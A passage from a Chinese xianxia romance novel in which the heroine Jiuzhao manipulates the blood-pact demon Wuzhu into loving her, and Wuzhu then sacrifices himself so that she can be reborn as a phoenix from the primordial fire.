那些向往憧憬的,跟祝晏一起的未来。 换成跟披着祝晏伪装的巫逐说起,就突然变得很反胃恶心。 她之所以能够做到, 不过是借助了前头领悟的, 将仙识散入元初之火的修炼办法。 仙识存在于灵台识海,是她控制躯体,感知外界的意志组成。可以说,不管是默默思忖的心声念头, 还是说出口的话语内容,都是仙识的一部分——在她脑内的记忆,同样如此。 为了更好的实行计划, 在每次装出被心魔控制时,九昭都会尽量剔除有关巫逐的那部分记忆,再设下逻辑暗示和时间限制,情到浓处, 突然醒转, 从柔情转变成厌恶, 方不会引起怀疑。 虽然每每做完,那种背叛了祝晏的自我厌弃感, 的确会为心魔的壮大提供养分。 但好歹还在可控范围内, 这亦是九昭为了赢所必须付出的代价。 九昭醒来也没有睁开眼睛。 她换了个姿势,背对巫逐侧卧在浮空中, 详细翻阅着脑海内的那些记忆。 当初, 她制定了利用魔族动心则法术失效的特点, 来解除血契反杀巫逐的计划, 却受制于从小到大贵为三清天神姬, 高高在上, 从来没有任何去取悦引诱他人的经验。 她先是一步步构建起在长时间的孤寂之下,逐渐沦陷于心魔和巫逐营造的幻觉,态度软化动摇的假象,又在这个过程里,反复思考试探着,对付狡诈的巫逐,应该采取什么手段。 绞尽脑汁想出的几个办法,过于青涩可笑,均被九昭自己否决。 最后,在一筹莫展的挫败中,她突然记起一件小时候发生的事。 满一万岁那年,父神曾送给她一匹浑身雪白的天马作为生辰礼物。 奈何那匹天马为灵兽森林中族群的首领,性格桀骜不驯,难以驾驭。 尝试几次不得,还差点被它摔下马背,九昭不得已,请来专门驯养各种兽类的神弼局仙官。 驯马的过程,九昭只起先耐着性子去看了两次,便逐渐失去兴致。 后来不到一个月,仙官还给了她一匹温顺的天马。 她将马分配去拉属于自己的华美天辇,同仙官闲聊时好奇问起驯服的方法。 仙官对她说,不拘何种兽类,大棒加上甜枣总是不出错的。 就连人,有时也可以采取这种手段。 这段回忆,出现在当下情景中,意味不言而喻。 巫逐是半神,是魔将,更是一条龙,一条从小到大,都不曾受到过关怀慰藉的龙。 他内心封闭,于男女之事的经验可以说少得可怜。 九昭决定姑且拿驯兽的方法试试。 从第一次试探他的兴奋究竟来源于被/虐还是自己,到第二次对他说甜言蜜语,畅想以后,巫逐没有视力,自是瞧不见来自他脸上那副不值钱的表情。一瞬一瞬,定格记忆,观察着他针对每句话做出的不同反应,九昭忍不住怀疑是他生来很会演戏,还是真的十分渴望被爱。 否则,怎么作为他人的替身和她谈恋爱,还能如此的满脸沉迷。 不小心回忆过头,九昭再次猝不及防看到了他被打神鞭五花大绑,衣摆着还残留着凝□□迹,仰面朝上潮红着两颊,低喘说“因为喜欢你,所以不管你对我做什么,都很快乐”的模样。 她立刻皱起眉峰,如同受惊的麋鹿般睁开双眼。 低等的、只会被欲/望裹挟的牲畜。 无法控制受到冒犯的情绪,九昭在心底狠狠骂了一句。 她极力平息着身体诚实传来的不适反应,侧转手腕,沉默望着薄薄皮肤下的脉络。 正常的脉络颜色,是青紫相交的。 而她的不同。 受变异血契的影响,她青紫的血管下洋溢着一丝不祥而鲜红的血色。 九昭定定看了会儿。 不知是否为错觉,她总觉得那缕血色,好像真的淡了一点。 …… 日子一天天过去。 清醒时分的九昭依旧不给祝晏任何好脸色。 她时常会同祝晏爆发单方面的争吵,由于厌恶被幻觉影响的自己,态度也越来越尖刻易怒。 那当初如尖刀般刺进巫逐内心的,作为替身有什么好洋洋得意的言论。 在如今的巫逐看来,已经算得上十成十的温和。 看见你就恶心。 你比不上祝晏一根手指头。 抛开这些鬼蜮伎俩,你还会做什么? 像个阴沟里的老鼠一样,躲在伪装成别人的皮囊背后,就妄想有人会爱你吗? 少做白日大梦。 九昭不清醒的时间越长,清醒过来的反应就越剧烈。 可。 她犯病时,被属于“祝晏”的笑容言语迷惑,对待巫逐的态度也越来越依赖和温柔。 拜心魔所赐,巫逐见识到了很多不一样的九昭。 无尾熊一样赖在他身上,连一瞬都不愿意分开的。 声线甜蜜蜜,语调软乎乎的。 在他以祝晏的身份,半真半假说起童年往事时,气到握紧拳头,差点为他哭出来的。 承诺要一直一直跟他在一起的。 喜欢喊他夫君和逐哥哥的(祝和逐发音相似,哄骗浑浊的脑袋巫逐不需要耗费太多力气)。 还有,还有说等他失明好了,要给他跳舞的。 …… 巫逐的眼睛被嗣辰融入寒铁之息的神术所伤,治愈的希望渺茫。 除非有力量相当,同为火系的神仙或魔族愿意献出眼睛给他。 他知晓永远不会有这样一个人,就如同九昭口口声声的爱永远不是对着他说的一样。 越是在心中拼命逼迫自己承认这一点,在享受虚假短暂的温情时,巫逐就越矛盾沉溺。 不过很快。 九昭也没心情再同他不停进行这等相互试探的游戏。 原因在于,元初之火的温度和强度都在进一步的升级。 仙识分散其中,每一分每一秒都在承受着快要融化的热压。 但九昭还是强忍着,分出一小簇承载记忆的仙识,长时间沉浸在烈火当中。 需要同巫逐做戏时,那分出去的部分就是和巫逐的相识经过,以及对于他的刻骨厌恶。 清醒过来时,审视完记忆,她就会把自己和巫逐做戏过程的部分剥离出去,让被元初之火炙烤的痛苦,来作为代价,惩罚没有替祝晏守节的身体。 自从九昭会不受控制发病后,巫祝再也没有于她脑海中,播放她与祝晏恩爱的过往。 他益发安静。 大部分情况下,只是默默承受九昭的言语攻击。 偶尔不冷不热反驳两句。 …… 到元初之火热得连人躯都受不了的时候。 九昭覆盖在肌肤上,用作防御的凤羽被一点一点烧化。 纵使只要仙力未曾耗尽,凤羽依旧会刺破血肉再生,却也赶不上被消融的速度。 那些来不及长出的部位,露出大片灼伤烧焦的痕迹,连九昭垂在背后的两只翅膀亦然。 她陷入了长久的虚弱负伤状态,捎带作为“寄生虫”的巫逐生活也不再轻松自在。 变异的血契生效,两方便是同生共死的状态。 九昭又额外被魔血压制着,不能反过来吸收巫逐的力量。尽管巫逐的情况比她好上不少,但神力变作的衣衫也被烧毁了小半,手臂、面孔、脖颈均呈现不同程度的灼痕。 巫逐是半神,没有圆满无缺的神境,却有一副强悍的神躯。 以及自小经历折磨过后,养成的对于程度不严重的疼痛不太敏感的麻木神经。 他的自愈能力比只为天仙的九昭强上许多。 若再从九昭那里吸收些许力量,就能不间断地完成自我修复。 可巫逐迟疑了。 譬如现在,为了节省仙力,让凤羽更快长出来,九昭昏昏沉沉地卧在不远处。 她没有能力,也没有余地,来阻拦巫逐的索取。 那用来建立连接,传输仙源的半透明细线就缠绕在巫逐的手指间。 只要心念一动,它们就会顺从巫逐的心意,刺进九昭毫无防备的躯体,从中压榨好处。 巫逐的手指伸直又弯曲,弯曲再伸直,却迟迟没有任何动作。 “神姬殿下。 “主人—— “你还活着吗?” 他的声音低而喑哑,与其说是询问,不如说更像是不愿吵醒睡梦中的人。 他无声上前,一点一点靠近九昭。 浮在九昭的身畔等候片刻,确定她不会突然跳起来骂人或者打人。 巫逐方勾了勾手指,神光裹附着九昭,将她翻了个面。 他伸出手,指腹一点一点摩挲过她的面容和躯体。 的确是昏迷了过去。 无意识的状态下,眉头依旧紧紧地皱着。 防御被破坏,肌肤被灼伤。 伤口本就极难愈合,还要经历无止境的高热,定是痛上加痛。 这样想着,巫逐感觉到自己的伤处,也感同身受地突突跳疼起来。 那缠绕在指尖的红线终究褪了下去,被另外一种象征神力的赤红取代。 巫逐的睫毛抖了抖,明明看不见东西,还是把眼睛闭了起来。 仿佛这么做,就可以彻底自欺欺人。 …… 他开始释放神力,为九昭修复伤口。 104| 第104章 ◎“……可我也只能给予这么多了。”◎ 树心内并无天地灵气可供吸收。 力量的充盈速度, 远比不上抵御元初之火摧残过程中的损耗速度。 因此每一分都显得格外宝贵。 随着神力的快速流逝,巫逐和九昭体内魔血的牵系逐渐变弱。 像是两截断裂的莲藕拉扯到极致,连接中间的部分, 只剩下一点摇摇欲坠的透明细线。 不论谁上前轻轻一拽, 变回彻底分崩离析开来。 相对应的,九昭身上的伤口却在慢慢恢复。 那血肉模糊,边缘焦黑的皮肤看上去好了一些,不再那么触目惊心。 巫逐做不到将她完全治好——事实上, 自打失去颌下珠后,就算通过血契时不时能够汲取九昭的力量,可依照他目前的情况, 实力连当初鼎盛时期的十分之一都没有。 大量的神力损耗,致使他最终放弃继续维持祝晏的外表,变回原本模样。 同样的神魂虚弱,不得不退化到兽类的形态来维持生机。 九昭凤羽覆身, 他则是龙鳞炸起。 她的灼伤受到神力滋养一点一点愈合, 他身上的鳞片却在一片一片被烤脆掉落。 巫逐知晓自己这么做很不对劲。 但他拒绝深入思考。 仿佛有什么东西一旦被揭开, 局面就会彻底失去控制。 昏沉中,九昭忍痛紧皱的眉梢缓和下来。 她低呓一声, 尚未醒转, 身躯无意识地靠近巫逐这里,轻轻蹭了蹭, 渴望得到更多神力。 感受着九昭与清醒时截然相反的亲昵, 巫逐徐徐叹出口气:“主人真是贪心。” 与他自言自语同时发生的, 还有渐渐虚化透明的身体。 “……可我也只能给予这么多了。” 一丝自嘲的笑意浮在唇畔, 他收回施法的双手, 化作赤色烟雾钻进九昭额心。 …… “主人, 你说我们俩不会在这里殉情吧?” 元初之火的温度越来越高,九昭却迟迟没有勘破涅槃的迹象。 她的身边空荡荡的,作出这等不正经感慨的青年声音,来自脑海—— 由于忍受不了元初之火的高热,巫逐趁着她某次昏迷未醒不便反抗,放弃好不容易凝结出来的躯壳,以元身的状态逃进了她的灵台深处,再也不肯出来。 回到灵台后,巫逐老实不少,没再用祝晏的声音作妖。 这叫九昭在面对他将自己的身体当成不要钱的客栈,自由出入时催生的杀意多少克制了些。 如今听着他意味不明的问题,也只是麻木反问:“你的两只眼睛,真不是打从娘胎里出来就瞎了吗?否则怎么会无知成这样?殉情是发生在相爱的男女之间的,这里哪有相爱的男女—— “难不成是你爱上了我?” 九昭的精神状态不好,每日的修炼已经夺走了她的全部精力。 她以一句能把巫逐噎死的话作为交流的结尾,便垂落眼帘,动手处理起身上新出现的伤口。 用凤羽勉强遮住灼烧严重的部分,她木着表情,盘起腿来,阖眸打算进行新一轮的修行。 颅内又冷不丁冒出巫逐古怪的、近乎梦语呢喃的话音:“是啊……难不成是我爱你?” 九昭没有说话。 她闭眼的动作停滞几瞬,望着眼前一簇元初之火如流星般从天而降。 火光照亮了她黑漆漆的、毫无情绪起伏的瞳眸。 好似什么都没听到,九昭径自入定,修炼起来。 直到灵台重归沉默,方才对话的痕迹半点不留,她才无声睁开眼,抬起手腕看了看。 脉络中血契造成的鲜红又淡了点。 远不及手臂上大大小小的火烧痕迹来得引人注目。 九昭默不作声注视着。 …… 当凤羽的生长速度,再也缓和不了身体的受伤程度时。 九昭干脆彻底变回凤凰原样。 她将仙力分散到每根羽毛,借助兽体比人体更强悍的防御力,来与元初之火相抗。 凤凰原身之下,兽性的本能容易压过理智,更加符合心魔的期待。 曾经她防着巫逐,生怕踏入他的陷阱,如今性命攸关,也管不了那么多。 那神帝封印在体内的神力,依旧没有任何回应。 到了这番田地,九昭忍不住苦笑:天纵英明的父神终究漏算了一步,就算把所有神力都给了自己,到关键时刻掉链子,无法催动,似乎等待自己的结局依旧只有死路一条。 凭借区区天仙的身份,想要调动最顶尖的上神之力,终究太过勉强。 九昭尝试了无数次,包围在丹田外部的壁障,不仅纹丝不动,反倒有临危增厚的趋势。 常规方法均失效的无奈下,她试图回忆无日渊内的战斗情形,期冀从中发现规律。 当初,她对上的敌人,是实力无限接近于神的半神巫逐,且自身的性命受到了严重危险。 根据这两点,九昭产生了两种猜测。 要么,在自己真的快死的时候,神力会自动释放。 要么,便是感受到同等的力量冲击,神力会自行苏醒。 本命翎只剩下一根,用完了就彻底死了。 不到万不得已,九昭不能拿自己的性命做试验。 那么,就只剩下向巫逐借用神力这一条道路。 九昭虽明白,巫逐与她深度绑定,前面铺垫了这么久,无论出于什么目的,但凡有一丝存活的希望,巫逐都不会让她死在这里——但她没有贸然地同他提起此事。 脉络血色的变淡,提醒着她,巫逐的真心正在逐渐产生。 眼下只欠缺一个合适的时机,叫他发现自身的感情,并把喜欢上升到爱意。 爱意。 九昭又默默念了念这个词汇。 她也不知为何,从前最追求真挚情意的自己,到如今会变成利用真心和感情的人。 若她还是那个生活在离恨天里,无忧无虑的神姬殿下,大约这样一件关乎自身改变的事,足够她痛苦烦恼很久——可现在,闭上眼是有可能中毒的父神,和等待自己炼成法术回去救命的祝晏,睁开眼是无处不在,灼烧身躯和灵魂的元初之火,现状已然不允许九昭再忸怩矫情。 抛弃短暂的迷惘,九昭的眼神再度回归清醒。 她垂下长颈,望着躯体上被烧成焦炭后,不断掉落的羽毛。 心中无声酝酿起一个决定。 …… 自打重新回到九昭体内,巫逐对于外界变化的感知就不再那么清晰。 他终日沉默,五感渐失。 唯一清晰的,是自己和九昭的神魂在日复一日的煎熬中,已然到了强弩之末的地步。 三清天的储君,无论是以傀儡的形式活着,还是在树心里失败死去,于他而言都是赚的。反正他对这世间没什么留恋,只要能在死前狠狠报复这群神仙,特别是嗣辰就心满意足。 由于血脉相连,巫逐甚至能在脑子里模拟出九昭的状态。 倘若这时候谁能劈开凤凰神树来看看,说不定会瞧见一只“烤鸡”。 还是只烤过头的,外表黑漆漆、皱巴巴的烤鸡。 护体的凤羽早已所剩无几,力量达到顶点的元初之火进一步焚烧着血肉和神魂。 九昭能活着已然耗费了所有的力气,他们也许久不交流了。 反正她死的那日没来,他总还能在灵台内苟延残喘。 就算真的要死了—— 对于死,巫逐的想法不是太多。 没有留恋,没有恐惧。 能跟九昭死在一块儿,他甚至有几分期待和欣喜。 巫逐照例分出一缕神识,检测下九昭当前的情况。 如若清醒,他就老老实实蛰伏。 如果昏迷,他就释放所剩无几的神力,附着在最严重的伤口处,为她稍稍减轻痛楚。 他所能做的,只剩下这点。 天晓得,他的力量接近干涸,每次动用神力,都不得不拔掉几片龙鳞来加强效果。 没有神力,便没有自愈能力。 龙鳞拔落的地方,久久无法愈合的皮肉缓慢腐烂。 幸好自己的眼睛瞎了。 烂得生蛆,烂得露出骨头,也瞧不见。 话说回来。 九昭的灵台这么干净,烂归烂,又怎么会真的长蛆—— 巫逐苦中作乐地开着自己的玩笑,神识探出一半,灵台内陡然响起九昭说话的声音。 虽然很低,但很清晰。 带着一丝如同死水般的认命:“等待了几十年,不知道这个结果符不符合你的期待。 “但没办法,我好像真的要死了。” 105| 第105章 ◎“借我你的眼睛。”◎ 他们已经很久不交流了。 毕竟说话也要费力气, 更何况彼此之间也不是什么可以友好寒暄的关系。 难得听到九昭主动开口,巫逐甚至想用爪子掏掏耳朵,确认这不是长久孤寂下产生的幻觉。 “怎么会要死了呢?” 他问道, “嗣辰注入到你体内的保命神力, 都到这种地步了,还有什么藏着掖着的必要?” 像是被问得有些窘迫,九昭半晌没有吭声。 巫逐渐渐意识到事情不对劲,忖度着询问:“是神力出现了什么问题吗?” “你何必装出很关心的样子?” 九昭的声音出现一刹心事被戳中的滞闷, 转瞬又强迫自己保持漠然,“若舍掉你的一条命,能换来三清天储君的死亡, 灰飞烟灭的前一刻你应该都在拍手叫好吧?” 巫逐从鼻腔里溢出声笑:“知我者,主人也。” “……一想到要跟你死在一起,就觉得很晦气。” 九昭扬起凤颈,一双被灼烧到通红的眼睛望着上空。 纵使无人在旁, 流淌在她血脉中的女君骄傲, 也不允许她露出畏惧胆颤的表情。 然而那元初之火转瞬即至, 高热化作锋利尖刀逼近眼眸,逼得她不得不低下颈子, 把凤首埋进稀稀拉拉, 不剩几根的羽毛里,瓮声瓮气, “你知道我这些天都在想什么吗?” 九昭的语句本是询问。 正常情况下, 脑子里在想什么这样不着边际的问题, 也唯有本人才能回答。 可巫逐却发觉他们相处了太久, 久到听见问题的瞬息, 他的心头已然浮现正确答案。 “想你的父神, 想你的晏郎,还有那位躺了近百年不知是否醒转的鲛人朋友。” 不假思索的,他抢白了九昭准备说的话。 害得九昭哽塞一瞬,才用翅尖挠挠被火燎焦的头顶,略显不满地说着,“你倒是我肚子里的蛔虫,总能猜准我的想法……可不只是这些,还有别的,到快死的时候,我才发觉还有很多遗憾。” “遗憾是应该的,在人生不圆满这件事上,我们和芸生世的那些凡人也没什么区别。” 他们一仙一魔,八字不合。 巫逐口中虽时常揶揄地唤着主人,却从来没有将她当作高高在上者对待。 因此凑在一起,总是免不了争执。 可这次九昭没有同他吵架。 她无视巫逐的话,径自絮絮念叨着。 仿佛这一刻不说,便再也没有倾诉的机会: “当时之所以选择直接进入树心,是害怕你发现我想用元初之火烧死你的端倪,趁者我回去跟亲人告别之际弄鬼。想不到还是中了你的招,还白白错过了最后一次跟他们相见的机会—— “巫逐,怎么从遇到你开始,我就变得如此倒霉?” “倒霉也是应该的,你们三清天的神仙不都说,血统混淆之人天生便是不祥。”面对九昭一连串的抱怨,巫逐不为所动,甚至倒用起三清天的说法,“我是半魔,你靠近我,当然会被影响。” “那我呢?难道是因为我混合了龙和凤凰的血统,才会让身边人纷纷倒霉吗?” 听了他的话,九昭忍不住嘲讽自己。 她涣散着眸光,回顾起即将到头的人生。 不多时,缓缓吁出一口热气,“父神和母神耗费了巨大的代价生下我,我却没有一日让他们感觉到骄傲自豪,三清天需要一个英明果决的储君,我却游手好闲了三万多年,落得满身恶名。祝晏本甘愿俯首早亡的命运,被我痴缠着终于燃起求生的渴望,我却救不了他,也管不了自己—— “你说,他们遇到我,是不是都很不幸?” 九昭的咬字落在“不幸”二字时放得极轻,眼睛飞快闪过深刻的歉意。 她顿了顿,歉意又悄然发生变化,流露出一丝不甘的意味:“还有,明明想好了要跟过去的自己告别,要担负起储君的职责,还没来得及改变三清天,我就要在这里死去……真不服气。” 巫逐对于九昭口中的父神和晏郎都不感兴趣。 反倒在她提到最后一点,主动搭腔道:“所以,你想怎么改变三清天?” 跟仇敌谈论理想,只会遭到嘲笑,九昭敷衍着他:“总归跟你想象的不一样。” 巫逐又是一声笑:“也对,我想象的是紫微宫从最高处坠毁,整个三清天灭亡,反正大家都是为了内心的欲望而活着,比起那群道貌岸然的神仙们,我倒觉得魔族统治世间来得更好。” 他太了解九昭,才会知晓本该由九昭亲自作答的问题答案是什么。 也正因为太过了解九昭,他更清楚怎样三言两语挑起九昭的怒火。 果然,九昭拔高声调,情绪有了明显起伏:“你跟我血契相连,同生共死,我们都没多少时间可以活了,临死前还要吵架到底是你的癖好吗?难道你就没有什么未完成的遗憾?” “我又不像你们神仙一样矫情。” 巫逐抬了抬龙躯,由于长时间的趴伏,他腐烂的血肉有一部分和身下地面粘连到了一起,随着他的动作,血肉被强行撕开,他轻声倒吸一口凉气,精神却在跟九昭的斗嘴中振奋许多,“我无父无母无爱,唯一惦记的人便是巫劭,可曾我和他并肩战斗过万年,此生早已值得了。” 九昭不料他全然不按照自己的计划来。 过了好一会儿,才喃喃道:“……那你可真洒脱。” “不过经你这么一提醒,我好像是有那么遗憾的事情。” 巫逐又话锋一转。 九昭追问道:“是什么?” “你把我当成祝晏用了那么多年,从未叫对过我的名字,不如现在唤声逐郎试试?” 九昭一怔。 随即羞恼起来:“滚!!” 巫逐哈哈大笑起来。 身体随着笑意震动,尖锐的疼痛如海潮般传来,他却是那样畅快。 笑了一阵,他终于收起嗓音里最后一道会刺痛人的棱角,轻声说道:“九昭,其实抛开敌人的身份不谈,我并不讨厌你,你不像你的父亲嗣辰,也不像你那个为了爱情放弃一切责任的母亲。 “你和我遇到的三清天神仙都不一样—— “如果坐在神帝位置上的人是你的话,说想要改变三清天,我想我会相信是出于真心。” “……” 和巫逐缔结血契近百年。 在占据绝对上风,压制着他时,九昭也不曾听见他为了免于受罚而说些讨好自己的奉承话。 巫逐几经更改的态度,令她一时有些难以适从:“怎么突然对我说这些?” “是你说的,不要到死还带着怨气互相争执,反正一切已经没有意义了,不如说点真心话。” 真心话。 这三个字甚至比前头巫逐夸奖她的话杀伤力还要大。 九昭感觉到自己的鸟脸,逐渐散发出比元初之火还要烫的温度,她又把脑袋从羽毛中探了出来,煞风景道:“好,说真心话,那你能不能告诉我,当初说给父神下了毒,究竟是不是真的?” “你猜。” 巫逐逗弄着她,心中则为刚才的话忍不住补充说明。 的确跟他遇到的三清天神仙都不一样。 一个藏不住心思,半点也不会同人周旋的傻姑娘。 旁人就算为了达成目的,也多半会就着刚才的气氛,再虚与委蛇几句,以期打动自己。 哪有如她这般,呆头呆脑把最关心的问题直接说出来的。 可—— 巫逐阖了阖眼,没再继续想下去。 九昭清楚他虽言抛开仇敌身份,彼此可以和平相处,但归根究底这个假设根本不可能成立。 意料中的拒绝,她失望之余,尚算能够平静接受。 苦笑一声过后,若无其事地问出下一句:“那么,那些欺负你的人呢,他们真的死了吗?你所告诉我的那些可怕死状,究竟是确有其事,还是为了引出我的心魔,刻意编造的故事?” 巫逐缄默着,并不言语。 九昭继续说道:“问有关父神的事情,的确出于我的私心。可第二个问题,纯粹因为不想欠你。终究是我借走了你的颌下珠才复活了凤凰神树……我也明白,这些日子,若不是你趁我昏迷偷偷施展神力为我救治,我也撑不到如今。我生来不愿欠任何人人情,更何况是你这个仇敌。 “若他们还活着。 “若我进入树心前承诺你的事没办法做到。 “请你再想想,在我们死前,我还有什么事情是可以为你做的。 “我还给你。” …… 许久过后,巫逐终于有了反应。 他拖着伤痕累累的龙躯,从九昭的灵台深处浮现。 无神的双眼同她对视:“既然如此,那就借我你的眼睛。” 106| 第106章 ◎“为一人生,为一人死。”◎ 巫逐看不见的视野里, 有淡淡阴霾出现在九昭眉眼一瞬。 但事情到了这个地步,留给她的选择仅有一个。 她强迫自己放空思绪,来降低内心的抵触。 问道:“眼睛, 要怎么给你——需要我挖出来吗?” 巫逐没有立刻回答。 他缩回灵台, 试图催动魔血去感知九昭对于这个提议,究竟怀揣几分真心。 可惜他的神力将近枯竭,无论怎样努力,所探知得到的情绪唯余一片似是而非的朦胧。 生性多疑的人, 不再能够其他手段验证真相。 此时此刻,如何判断,仅能凭借他的感情。 略微沉吟过后, 巫逐做出了选择。 他含义不明的语调,在九昭脑海平静响起:“你我的血脉相连,又同属火系,拥有这两点, 倒是能够弥补位阶上的差距, 挖出你的眼睛换给我, 我的确可以重获长久的光明。” 九昭道:“好,那我——” “不过, 我要长久的光明又有何用, 反正都要死了。” 巫逐打断她违心的话,继续说着, “还有一个办法, 你放弃神魂对我的抵抗, 让我占据你的身体, 我便能够通过你的眼睛看清这个世界, 如此, 也不会伤害到你。” 这次,不言不语的人变成了九昭。 占据她的身体。 这不就是巫逐这么多年以来一直想要做到的事? 若自己真的放弃抵抗,被他掌控,又如何确保他真的只是拿来获得光明,而不在别处使坏? 从九昭的沉默里,巫逐立刻读懂她的未尽之意。 他沉笑一声:“怎么,怕我利用你的身体干些什么吗?你也可以不答应。 “反正你我是仇人,根本没必要讨论什么亏欠补偿,我为你做的事自有我的利益考量——不为你修复伤口,你早就被元初之火吞噬了,血契自然也不会允许我苟活到今日,仅此而已。” 巫逐的言语冷静而无谓。 倘若不是手腕上的血线在一日一日变淡,九昭根本无从发觉他心中的真正感情。 既然想好了定要跨过最后一步,将他的喜欢催化成爱意。 那么,她所能做的,就是奉上所有去赌。 支付的代价越大,得到的回报才能越高。 踌躇不定者,只能死在元初之火的焚烧之下。 想到这里,她咬了咬牙,回应道:“我既予你承诺,便没有反悔的道理——你来便是。” …… 撂下话后,九昭一声不吭地解除了神魂的防御,接纳起巫逐的侵入。 那明显的异族气息一点一点占据着她的身体,她感觉到看不见的自己正在被一股力量缓慢压缩,直至变成扁扁一片,被排挤到灵台的角落——仙的力量终不能与神相较,失去了最后一道防线,她彻底从识海的掌控者,沦落成这副皮囊的寄住者,如一开始的巫逐那般,仅能颅内对话。 与满心不适的九昭全然相反,巫逐十分享受这个过程。 一种奇妙的感受弥散在他意识当中,甚至盖过了重伤的躯体时时传来的浓重疼痛。 纵使他们不曾相爱,发病时将他看成祝晏的九昭也不曾与他真正结合。 他却在与九昭的逐渐融为一体中,感受到了那种飘飘然的、水乳交融的快乐。 自被母亲分娩到这个世间起,他再未有过如此亲密的体验。 他用神识一寸一寸摩挲过九昭的血肉脉络,解读着她的桀骜、热烈和勃勃生机。 无尽的黑暗被驱散。 长久笼罩在他身上的寒冷被年轻的肌体捂热。 明亮到锋利的光线降临,破开薄薄眼皮的遮蔽,激出温热的生理泪水。 巫逐舒展着身体,凤凰的长羽褪去,属于女性的婀娜曲线在火光里重新诞生。 他睁开双眼,重获光明,却没有如与九昭交谈的那般,最后一次好好看看这个世界。 用神力信手凝出一面揽照自身的灵镜,他仔细端详着这副属于九昭的面容。 斜长的眉峰,妩媚的眼睛。 随着眼珠的转动,镜中之人也在缓慢地游弋视线。 可不管如何流转,都在全神贯注地看着一处。 她在看着自己。 没有祝晏。 没有神帝。 没有乱七八糟的,她所惦记着的其他人。 她只是看着自己。 一种发自内心的愉悦,令巫逐勾起唇角,轻叹道:“原来主人你是这副模样。” “你不是要看一看这个世界吗? “一直盯着我瞧算什么?” 九昭望着他的动作,和专注到偏执的眼神,感到十分不自在,没好气地质问。 然而下一瞬,她的意识突然一沉,某种可怕的昏沉感猝不及防降临—— 掌握了主导权的巫逐,竟然正在封闭她的五感。 “喂。 “喂—— “你到底想干什么? “巫逐,别这么做——” 九昭最后一句绝望的话音入耳,灵台中只剩下一片空茫的安静。 他隔绝她的五感,让她长眠在黑暗与阒寂里。 这具九昭的身体,真真正正成为了一副空壳。 “傻姑娘,都说了,不要相信魔头。 “半魔,不也是魔头?” 巫逐抬起头,对着再也无人回应的空气揶揄一句,而后合掌,召唤出伤痕累累的元身。 相较注视九昭面容时的温柔,他端详自己元身的目光,却仿佛评估等待出售的货物。 “罢了,嗣辰神力深厚,若不做到那步,恐怕只会功亏一篑。” 他自言自语一句。 探手朝向元身,赤色华光骤现,将元身尽数笼罩。 龙形的元身扬起脖颈,发出阵阵怒吼,巫逐的额头亦滑落汗水,迸起根根青筋。 随着绷紧的指尖一个用力,元身躯体上所有的鳞片均被神光拔起,连血带肉,骇若凌迟。 巫逐痛得两眼发黑。 双膝一软,跪倒在浮空中。 哪怕对疼痛再不敏感,元身重损的痛苦依旧穿透躯体,直击灵魂,令他恨不得立刻死去。 巫逐咬紧舌尖,定了定神。 他颤抖的指尖再度溢出赤光,将没有实体的龙鳞,缓慢催化成同等的神力。 很快,一大团神光于他掌心之下聚集。 他挺直赤/裸的躯体,将神光化作根根箭簇,朝丹田的位置疾射而去。 轰! 绝对力量与绝对力量的相撞。 那捍卫在丹田周围的屏障登时蔓延开蛛网般的裂纹。 见办法有效,巫逐沉默地操控着神光,反复冲击着那处。 鲜血逐渐从他唇角溢出。 他献上了凝结元身的所有本源神力。 这些神力不可再生,每冲击屏障一次,都相当于有一部分的他自己正在死去。 机械性的动作无需思考,巫逐忍受着剧痛,干脆强迫大脑回忆些美好的东西来支撑下去。 他想了一会儿巫劭。 想巫劭的赏识。 想巫劭对自己的鼓励。 还有堕天的前一夜,他们在高台之上把酒对月的那场谈心。 “阿逐,其实你没必要随我一同背叛三清天,你如今已是半神,拥有了地位和自保的能力,不会再有人敢随意践踏你,欺负你,这样我很放心,以后哪怕没有我,你也能好好地生活下去。” 这是巫劭对他说的话。 当时的他不理解何为生活,只毫无思考地回答巫劭:“你救了我的命,我便只为你而活。” 巫劭无奈地饮下一口酒,顺势拍了拍他的肩头:“阿逐,你的人生还很长,有太多事情你未曾经历过。也许有一天,你会遇到那个想要为她生为她死的人,但绝不会是我。” …… 无日渊一战中,他与九昭签订血契。 为保护她不被雷罚劈死,舍弃了万年龙躯化作元身重活一次。 如今,也在为她死去。 这就是巫劭所说的,为一个人生,为一个人死吗? 无人能够告诉巫逐答案。 但似乎这样重新活过来,再死去一回,对比从前行尸走肉般的人生,还算不赖。 …… 在瞳孔涣散的出神里,丹田的壁障终于被巫逐的箭簇击碎。 大片大片汹涌如海的水系神力涌现出来。 它们迅速将九昭包裹起来,修补着她身体的每一处缺口。 巫逐皱起眉。 再被嗣辰的力量萦绕一秒,他恐怕会直接吐出来。 他让出了对于九昭神魂的掌控权,回归奄奄一息的元身。 将两人绑定在一起,被迫共存百年的血契,亦于他脱离的瞬息浮现。 鲜红色的,丝线般的,一缕一缕。 脆弱不堪,却又无可撼动,好似命运。 巫逐又看不见了。 他的龙爪在半空无力地勾动两下,感觉到体内正有什么在一寸一寸断裂。 那时魔头爱上一个人的标志。 所有的法术,都在渐次失去作用。 他同她之间的最后一丝联结不复。 又要回归到永恒的黑暗和冰冷中了吗? 对于自己的所作所为,巫逐没什么可后悔的。 但原来如同九昭所说,当人真正即将死去时,脑海终究会浮现遗憾之事。 他放任身体,向树心深处的熊熊火海跌落。 一种奇异的温暖将他环绕。 是和九昭身上同源的气息。 巫逐安详闭上眼睛。 …… 远处,青蓝神光完成了最后的修复。 涅槃重生的九昭化作凤凰,在嘹亮的长唳中展开双翼,冲出困顿四十九年的树心。 107| 第107章 ◎“涅槃。”◎ 冲天而起的火光中, 巨大的双翅尽情舒展。 一股磅礴的力量如狂风般穿透树心,起初为虚影,而后凤凰的模样越来越清晰。 天地尽在脚下, 日月与之并肩。 其羽翙翙, 其鸣锵锵。 它迫不及待地朝苍穹疾去,想要向整片河山宣告自己的涅槃重生。 直至锋锐的凤喙撞上青蓝色的神力禁制,感受到不甚明晰的痛楚,才消弭了眸光中的狂热。 它回笼属于人的意志, 在又一阵旋飞后,缓缓落地,凤羽一片一片褪去。 皎洁无瑕的女/体于仙光中凝结重生, 赤/裸的肌肤呈现出堪比象牙一般的洁白。 涂有鲜红蔻丹的手掌探出混沌,紧接着信手一握,虚空中赤色的华丽衣裙如瀑布倾泻而下。 衣服自动裹覆九昭的躯体,她光脚散发, 漫步登上高台。 站立在以凤凰神树为中心, 朝四周弥散的元初之火当中, 她展开双臂,阖眸深吸一口气。 暌违已久的自由令她欣喜, 曾经灼肤摧骨的火焰如今已变得那样可亲。 它们亲昵地簇拥着九昭, 